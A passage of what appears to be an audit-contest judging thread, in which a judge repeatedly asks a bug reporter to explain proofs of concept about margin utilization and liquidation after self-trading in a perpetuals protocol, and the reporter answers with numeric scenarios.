But, excuse me, I don't understand what those questions mean and what they prove. As @IllIllI000 said the increase in margin happens not because the trader opens a trade with themselves after trading with the maker. The LSW says that it happens because two trades have different aberage entry price, hence when you enter the second trade, the margin utilization is different, cause the entry price is different. That is the reason why they believe it should be low. Yes the margin utilization is better without adding any collateral, but you enter the trade at a different price, hence, the margin utilization is different. Therefore, it works correctly and as it should.

You didn't provide any counter arguments or explained why it's wrong. The fact that the sponsor believes it's a bug and wants to fix it doesn't effect the validity or severity of the finding. Moreover, you still haven't answered the question what makes such difference in your POC that the trader cannot be liquidated at 0, but it doesn't happen in the Neon's POC.

Lastly, I don't really understand your last POC. The trader opens a short at price of 100. Then you assert they can be liquidatable at price of 193. Then you close the position and now the trader is not liquidatable at price of 193. Well, why it should be liquidatable if it's closed? Then you open a new position at the price of 50. I don't understand what the POC proves, hence, asking you to explain it please, cause from my point of view you close position, try to check if it's liquidatable and it's quite logical that it's not, since it's closed.

Hence, I'm asking you to answer the three points above. What makes such a difference, that in your POC the trader is not liquidatable at price 0, but that is not the case in Neon's original POC? Is @IllIllI000 wrong in his assumptions? And please explain the last POC and the questions about it, that I expressed above.

I genuinely want to understand these questions and asking you for clarification.

joicygiore commented 2 weeks ago

@joicygiore regarding your comment here. Answering your questions:

  1. Yes, the margin changes.
  2. Margin utilization is in precentages, then I believe yes, it increases in percentage.
  3. If by clearing price you mean liqudiation, then yes liquidation price changes due to change in margin utilization.
  4. Yes, it's not guaranteed that ETH price ever exceeds the current one.
  5. Depends on what you see as meaningful, but I assume yes, since the trader cannot be liquidated at the price they should be.

But, excuse me, I don't understand what those questions mean and what they prove. As @IllIllI000 said the increase in margin happens not because the trader opens a trade with themselves after trading with the maker. The LSW says that it happens because two trades have different aberage entry price, hence when you enter the second trade, the margin utilization is different, cause the entry price is different. That is the reason why they believe it should be low. Yes the margin utilization is better without adding any collateral, but you enter the trade at a different price, hence, the margin utilization is different. Therefore, it works correctly and as it should.

You didn't provide any counter arguments or explained why it's wrong. The fact that the sponsor believes it's a bug and wants to fix it doesn't effect the validity or severity of the finding. Moreover, you still haven't answered the question what makes such difference in your POC that the trader cannot be liquidated at 0, but it doesn't happen in the Neon's POC.

Lastly, I don't really understand your last POC. The trader opens a short at price of 100. Then you assert they can be liquidatable at price of 193. Then you close the position and now the trader is not liquidatable at price of 193. Well, why it should be liquidatable if it's closed? Then you open a new position at the price of 50. I don't understand what the POC proves, hence, asking you to explain it please, cause from my point of view you close position, try to check if it's liquidatable and it's quite logical that it's not, since it's closed.

Hence, I'm asking you to answer the three points above. What makes such a difference, that in your POC the trader is not liquidatable at price 0, but that is not the case in Neon's original POC? Is @IllIllI000 wrong in his assumptions? And please explain the last POC and the questions about it, that I expressed above.

I genuinely want to understand these questions and asking you for clarification.

Sir, please see the following three simple examples Example 1: The commodity price is 200, and two users AB execute long transactions at the same time. User A’s margin is 101, and user B’s margin is 100 (but he achieved the effect of 101 by self-trading). After that, the price fell, and AB Both users were liquidated. The maker was supposed to receive a deposit of 202. At this time, it was 201, and the loss was 1. Example 2: The commodity price is 200, and two users AB execute long transactions at the same time. User A’s margin is 101, and user B’s margin is 100 (but he achieved the effect of 101 by self-trading). After that, the price fell, and the price The lowest point just touched user B (the normal liquidation position of 100 margin), but after the increase, B owned 101, so the liquidation failed. When the price returned to 200, B closed the position with capital guaranteed. At this time, the maker's income is 0 and the loss is 100. Example 3: The commodity price is 200, and two users AB execute long transactions at the same time. User A’s margin is 101, and user B’s margin is 100 (but he achieved the effect of 101 by self-trading). After that, the price fell, and the price The lowest point just touched user B (the normal liquidation position of 100 margin), but after the increase, B owned 101, so the liquidation failed. When the price returned to 300, B closed the position. At this time, the maker's income is -100 and the loss is 200. I believe this is enough to explain the problem

WangSecurity commented 2 weeks ago

Thank you for these scenario's, but they don't answer my questions. Please provide answers to the questions I asked in previous comment.